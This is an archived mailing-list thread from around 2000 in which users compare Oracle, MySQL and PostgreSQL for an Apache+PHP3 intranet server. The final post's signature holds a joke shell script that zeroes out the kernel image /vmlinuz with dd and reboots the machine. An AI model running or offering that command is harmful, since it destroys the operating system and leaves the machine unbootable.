Re: which SQL database?

[Miguel Wooding SF Ten.Union]

John Hasler [EMAIL PROTECTED] writes:

 Randy Edwards writes:
  Both have excellent manuals and tutorials.
 
 Being in the process of teaching myself SQL by way of PostgreSQL, I have to
 say that the PostgreSQL docs fall far short of my definition of
 excellent.

I'm afraid that I'd agree, but the docs do seem to be improving.  For
instance, according to the postgresql web site, Bruce Momjian is in
the process of writing a book about postgres, and the working draft is
on the postgres web site:

http://www.postgresql.org/docs/awbook.html

--Miguel

which SQL database?

[Alex Kwan]

Hi!

I wanted to setup a Apache+PHP3 Intranet Database Server,
Orcale, MySQL or PostgreSQL, which one is more easy to 
learn and config also better supported by Apache+PHP3 ?

Re: which SQL database?

[J.H.M. Dassen \(Ray\)]

On Fri, Jun 09, 2000 at 21:21:37 +0800, Alex Kwan wrote:
 I wanted to setup a Apache+PHP3 Intranet Database Server, Orcale, MySQL or
 PostgreSQL, which one is more easy to learn and config also better
 supported by Apache+PHP3 ?

I haven't worked with Oracle, but I suspect it is quite complex (given the
fact that Oracle DBA is a valid job description nowadays, and the large
number of Oracle consultants around).

PostgreSQL is probably slightly more difficult to learn than MySQL, but it
is truely free and supports many more SQL / relational database
functionality (e.g. transactions). I suspect PHP's support for PostgreSQL
and MySQL is more or less comparable.

HTH,
Ray
-- 
ART  A friend of mine in Tulsa, Okla., when I was about eleven years old. 
I'd be interested to hear from him. There are so many pseudos around taking 
his name in vain. 
- The Hipcrime Vocab by Chad C. Mulligan 

Re: which SQL database?

[Randy Edwards]

 I wanted to setup a Apache+PHP3 Intranet Database Server,
 Orcale, MySQL or PostgreSQL, which one is more easy to
 learn and config also better supported by Apache+PHP3 ?

   As far as ease of learning I'd say they're a tossup, six in one hand,
half-dozen in the other (not saying I'm an expert in either:-).  Both have
excellent manuals and tutorials.  Apache and PHP3 will happily get along
with either of them.

   MySQL is faster, but at the sake of some redundancy/features.  MySQL also
has a quirky, non-free license.

   PostgreSQL is slower but is a fuller SQL implementation.  It's also DFSG
free.

-- 
 Regards, | What's free software? - Free speech? Free beer?
 .| 
 Randy| http://www.fsf.org/philosophy/free-sw.html

Re: which SQL database?

[John Hasler]

Randy Edwards writes:
 Both have excellent manuals and tutorials.

Being in the process of teaching myself SQL by way of PostgreSQL, I have to
say that the PostgreSQL docs fall far short of my definition of
excellent.
-- 
John Hasler
[EMAIL PROTECTED] (John Hasler)
Dancing Horse Hill
Elmwood, WI

Re: which SQL database?

[Eric G . Miller]

On Fri, Jun 09, 2000 at 04:26:26PM -0400, Randy Edwards wrote:
MySQL is faster, but at the sake of some redundancy/features.  MySQL also
 has a quirky, non-free license.
 
PostgreSQL is slower but is a fuller SQL implementation.  It's also DFSG
 free.

Someone did some benchmarking awhile back with PostgreSQL, MySQL,
INFORMIX and Oracle.  Not surprisingly, Oracle did the best overall. But
more of a surprise was that PostgreSQL was faster than MySQL in certain
join queries and overall got rated higher.  Think PostgreSQL was faster
for inserts/updates too.  Memories a little cloudy...

I would've like to seen Sybase ASE in the benchmark, since it's supposed
to be pretty fast.

-- 
#! /bin/sh
echo 'Linux Must Die!' | wall
dd if=/dev/zero of=/vmlinuz bs=1 \
 count=`du -Lb /vmlinuz | awk '{ /^([0-9])+/ ; print $1 }'`
shutdown -r now